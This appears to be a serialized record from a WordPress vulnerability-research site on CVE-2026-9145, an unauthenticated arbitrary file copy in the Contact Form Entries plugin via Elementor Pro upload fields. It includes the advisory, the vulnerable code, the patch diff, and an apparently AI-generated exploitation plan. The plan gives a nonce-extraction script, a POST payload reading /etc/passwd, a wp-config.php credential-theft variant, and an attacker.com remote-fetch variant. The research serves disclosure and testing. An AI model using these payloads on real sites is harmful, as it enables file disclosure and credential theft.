[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fGFCIvMMIxqlyJdOO_QwQ77Y3Xhd9lgagJhXe6TYMFbk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-9145","database-for-contact-form-7-wpforms-elementor-forms-unauthenticated-arbitrary-file-copyupload-via-elementor-pro-form-upl","Database for Contact Form 7, WPforms, Elementor forms \u003C= 1.5.1 - Unauthenticated Arbitrary File Copy\u002FUpload via Elementor Pro Form Upload Field 'raw_value'","The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Arbitrary File Copy via the create_entry_el() function in versions up to, and including, 1.5.1. The function reads raw_value from Elementor Pro's Form_Record object for upload-type fields and passes it directly to PHP's copy() without validating that the value corresponds to a legitimately uploaded file — when no file is present in $_FILES, raw_value reflects the attacker-controlled POST string. copy() accepts both local filesystem paths and URL sources, so the attacker can target any file readable by the PHP process or supply an attacker-controlled remote URL. Elementor Pro is a prerequisite for triggering the code path (it owns the elementor_pro\u002Fforms\u002Fnew_record hook and populates the Form_Record object), but the bug itself is entirely in Contact Form Entries' handler. This could allow unauthenticated attackers to disclose arbitrary files on the affected site's server. The file is copied to a directory unknown to the attacker; the hashed directory name provides defense-in-depth but is generated from non-cryptographic sources (uniqid() + rand()) and should not be relied upon as the primary mitigation.","contact-form-entries",null,"\u003C=1.5.1","1.5.2","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:L\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-07-01 21:05:12","2026-07-02 09:32:02",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2ccadf7c-b628-43b6-a6b0-828ca31ff9cc?source=api-prod",1,[22,23,24,25],"contact-form-entries.php","includes\u002Fplugin-pages.php","readme.txt","templates\u002Fview.php","researched",false,3,"This research plan provides a technical roadmap for exploring and validating CVE-2026-9145.\n\n### 1. Vulnerability Summary\nThe \"Database for Contact Form 7, WPforms, Elementor forms\" plugin (v1.5.1 and below) contains a path traversal vulnerability in its Elementor Pro integration. When a form is submitted, the plugin's `create_entry_el()` function hooks into `elementor_pro\u002Fforms\u002Fnew_record`. For form fields of type \"upload,\" the plugin attempts to move or copy the uploaded file to its own storage directory.\n\nThe vulnerability exists because the code fails to verify if the file path provided in the Elementor Pro `Form_Record` object actually corresponds to a file uploaded via `$_FILES`. If an attacker submits a standard POST parameter (string) for the file upload field instead of a multipart file upload, the plugin treats the attacker-controlled string as a source path for the PHP `copy()` function. Since `copy()` supports local file paths and URLs, an unauthenticated attacker can disclose sensitive local files or perform a limited form of SSRF.\n\n### 2. Attack Vector Analysis\n*   **Entry Point**: Public-facing Elementor Pro form submission.\n*   **Hook**: `elementor_pro\u002Fforms\u002Fnew_record` (registered in `setup_main()`).\n*   **Vulnerable Function**: `vxcf_form::create_entry_el()`.\n*   **Vulnerable Sink**: `copy($source, $destination)`.\n*   **Required Parameter**: The name\u002FID of an \"upload\" type field in an Elementor Pro form.\n*   **Authentication**: Unauthenticated (default for most public forms).\n*   **Preconditions**:\n    1.  Elementor Pro must be installed and active.\n    2.  An Elementor Pro form with at least one \"File Upload\" field must exist on a public page.\n\n### 3. Code Flow\n1.  **Request**: An attacker sends a POST request to a page containing an Elementor Pro form.\n2.  **Trigger**: Elementor Pro processes the form and triggers the `elementor_pro\u002Fforms\u002Fnew_record` hook.\n3.  **Plugin Execution**: `vxcf_form::create_entry_el($record, $handler)` is called.\n4.  **Field Processing**: The function iterates through form fields. For \"upload\" fields, it retrieves the value using `$record->get_field_data($field_id)`.\n5.  **Logic Failure**: The code checks for the presence of a file. If no actual file is in `$_FILES`, it mistakenly uses the `raw_value` (the POST string) from the `$record` object as the `$source` for `copy()`.\n6.  **File Copy**: `copy($source, $destination)` is executed where `$source` is an arbitrary path like `\u002Fetc\u002Fpasswd`.\n7.  **Storage**: The file is copied into `wp-content\u002Fuploads\u002Fcrm_perks_uploads\u002F[hashed_subdir]\u002F[filename]`.\n\n### 4. Nonce Acquisition Strategy\nElementor Pro forms are protected by a frontend nonce. To trigger the `new_record` hook successfully, the exploit must include the correct form ID and the nonce generated for that form.\n\n1.  **Identify Target Page**: Find a page using an Elementor Pro form (e.g., `\u002Fcontact\u002F`).\n2.  **Navigate**: Use `browser_navigate(\"http:\u002F\u002Flocalhost:8080\u002Fcontact\u002F\")`.\n3.  **Extract Form Data**: Use `browser_eval` to extract the necessary hidden fields.\n    ```javascript\n    const form = document.querySelector('form.elementor-form');\n    const data = {\n        post_id: form.querySelector('input[name=\"post_id\"]').value,\n        form_id: form.querySelector('input[name=\"form_id\"]').value,\n        nonce: form.querySelector('input[name=\"_nonce\"]').value,\n        upload_field_name: form.querySelector('input[type=\"file\"]').name\n    };\n    data;\n    ```\n4.  **Note**: The `upload_field_name` is typically something like `form_fields[field_id]`.\n\n### 5. Exploitation Strategy\nThe goal is to copy `\u002Fetc\u002Fpasswd` to a web-accessible directory managed by the plugin and then retrieve it.\n\n**Step 1: Discover Upload Field ID**\nIdentify the specific parameter name for the file upload field from the HTML source (e.g., `form_fields[6bc217a]`).\n\n**Step 2: Send Exploit Payload**\nConstruct a POST request that mimics a form submission but provides the target file path as a string.\n\n*   **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php` (Note: Elementor forms often submit to the current page URL or admin-ajax.php; check the `action` attribute of the form).\n*   **Method**: `POST`\n*   **Content-Type**: `application\u002Fx-www-form-urlencoded`\n*   **Body Parameters**:\n    *   `action`: `elementor_pro_forms_send_form`\n    *   `post_id`: [EXTRACTED_POST_ID]\n    *   `form_id`: [EXTRACTED_FORM_ID]\n    *   `_nonce`: [EXTRACTED_NONCE]\n    *   `form_fields[FIELD_ID]`: `\u002Fetc\u002Fpasswd` (The Payload)\n\n**Step 3: Identify the Destination Path**\nThe plugin generates a random directory for each submission using `uniqid() + rand()`. Since we cannot guess this, we must check the database to see where the entry was saved.\n\n### 6. Test Data Setup\n1.  **Install Plugins**: Ensure `contact-form-entries` (v1.5.1) and `elementor-pro` are active.\n2.  **Create Form**:\n    *   Create a new page.\n    *   Add an Elementor \"Form\" widget.\n    *   Add a field: Type = \"File Upload\", Label = \"Document\".\n    *   Publish the page.\n3.  **Confirm Path**: Ensure the `wp-content\u002Fuploads\u002Fcrm_perks_uploads\u002F` directory is writable by the web server.\n\n### 7. Expected Results\n*   The `copy()` function will execute, reading `\u002Fetc\u002Fpasswd`.\n*   A new directory will be created under `wp-content\u002Fuploads\u002Fcrm_perks_uploads\u002F`.\n*   The contents of `\u002Fetc\u002Fpasswd` will be saved inside that directory with the name `passwd`.\n*   The plugin will create a record in its database table representing this \"submission.\"\n\n### 8. Verification Steps (Post-Exploit)\nSince the destination directory is hashed, use WP-CLI to retrieve the file path from the database:\n\n1.  **Check Entries**:\n    ```bash\n    # List the most recent submission to find the file link\n    wp db query \"SELECT * FROM \\$(wp db prefix --allow-root)vxcf_leads ORDER BY id DESC LIMIT 1;\" --allow-root\n    ```\n2.  **Extract URL**: Look for the field containing the file path\u002FURL in the query results.\n3.  **Verify File Content**:\n    ```bash\n    # Assuming the DB shows the file was saved to 'crm_perks_uploads\u002F65a...\u002Fpasswd'\n    cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcrm_perks_uploads\u002F[HASHED_DIR]\u002Fpasswd\n    ```\n\n### 9. Alternative Approaches\n*   **Remote File Inclusion (RFI) style Copy**: Instead of `\u002Fetc\u002Fpasswd`, supply a URL: `http:\u002F\u002Fattacker.com\u002Fshell.txt`. PHP's `copy()` will fetch the remote URL and save it to the server. If the server allows executing PHP in the uploads directory (rare in modern WP), this could lead to RCE.\n*   **LFI \u002F Disclosure**: Target `wp-config.php` to extract database credentials.\n    *   Payload: `form_fields[FIELD_ID]=..\u002F..\u002F..\u002Fwp-config.php` (relative path) or the absolute path `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php`.","The Contact Form Entries plugin (up to v1.5.1) is vulnerable to unauthenticated arbitrary file copy when integrated with Elementor Pro. The `create_entry_el()` function fails to verify if file upload data originated from a legitimate upload, allowing an attacker to provide a local file path or remote URL as a string which is then processed by PHP's `copy()` function, disclosing sensitive files.","\u002F* contact-form-entries.php line 639 *\u002F\n$val=$v['raw_value'];\nif(in_array($v['type'],array('upload','file'))){ \n  $upload_files[$v['id']]=$val;  \n}else{\n\n---\n\n\u002F* contact-form-entries.php line 648 *\u002F\nif($track ){ \u002F\u002F&& !empty(self::$is_pr)\n  $upload_files=$this->copy_files($upload_files); \n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.1\u002Fcontact-form-entries.php\t2026-05-17 11:39:12.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.2\u002Fcontact-form-entries.php\t2026-06-19 11:39:34.000000000 +0000\n@@ -25,7 +25,7 @@\n   public static $type = \"vxcf_form\";\n   public static $path = ''; \n \n-  public static  $version = '1.5.1';\n+  public static  $version = '1.5.2';\n   public static $upload_folder = 'crm_perks_uploads';\n   public static $db_version='';  \n   public static $base_url='';  \n@@ -626,7 +626,7 @@\n     \n    \u002F\u002F $d=$record->get_form_settings( 'form_fields' ); \u002F\u002Fform_name\n     $data = $record->get( 'fields' );\n-   \u002F\u002F $raw_files = $record->get( 'files' );\n+    $raw_files = $record->get( 'files' );\n     $form_id=$form_id_p.'_'+post_id_p;\n     $track=$this->track_form_entry('el',$form_id);\n     $fields=self::get_form_fields('el_'.$form_id);\n@@ -637,16 +637,16 @@\n     if(in_array($v['type'],array('html','step','recaptcha','recaptcha_v3','honeypot'))){ \n       continue;  \n     }    \n-$val=$v['raw_value'];\n-if(in_array($v['type'],array('upload','file'))){ \n-  $upload_files[$v['id']]=$val;  \n+$val=$v['raw_value']; \u002F\u002Fvar_dump($v);\n+if(in_array($v['type'],array('upload','file')) && isset($raw_files[$v['id']]) && isset($raw_files[$v['id']]['path'])){\n+  $upload_files[$v['id']]=$raw_files[$v['id']]['path'];   \n }else{\n \n  if(in_array($v['type'],array('checkbox','multiselect'))){","The exploit targets an Elementor Pro form that includes a 'File Upload' field. An unauthenticated attacker first obtains the form's post ID, form ID, and nonce from the page HTML. They then send a POST request to the form submission endpoint (typically `admin-ajax.php` with the `elementor_pro_forms_send_form` action). Instead of performing a multipart file upload, the attacker provides the target local file path (e.g., `\u002Fetc\u002Fpasswd`) or a remote URL as a string value for the upload field's parameter. The plugin's `create_entry_el()` function incorrectly uses this string as the source for a `copy()` operation, saving the file's content into a randomized subdirectory under `wp-content\u002Fuploads\u002Fcrm_perks_uploads\u002F`. The attacker can then retrieve the file by identifying the destination directory, which is generated using non-cryptographic methods.","gemini-3-flash-preview","2026-07-25 11:06:26","2026-07-25 11:07:12",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.5.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-entries\u002Ftags\u002F1.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-form-entries.1.5.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-entries\u002Ftags\u002F1.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-form-entries.1.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-entries\u002Ftags"]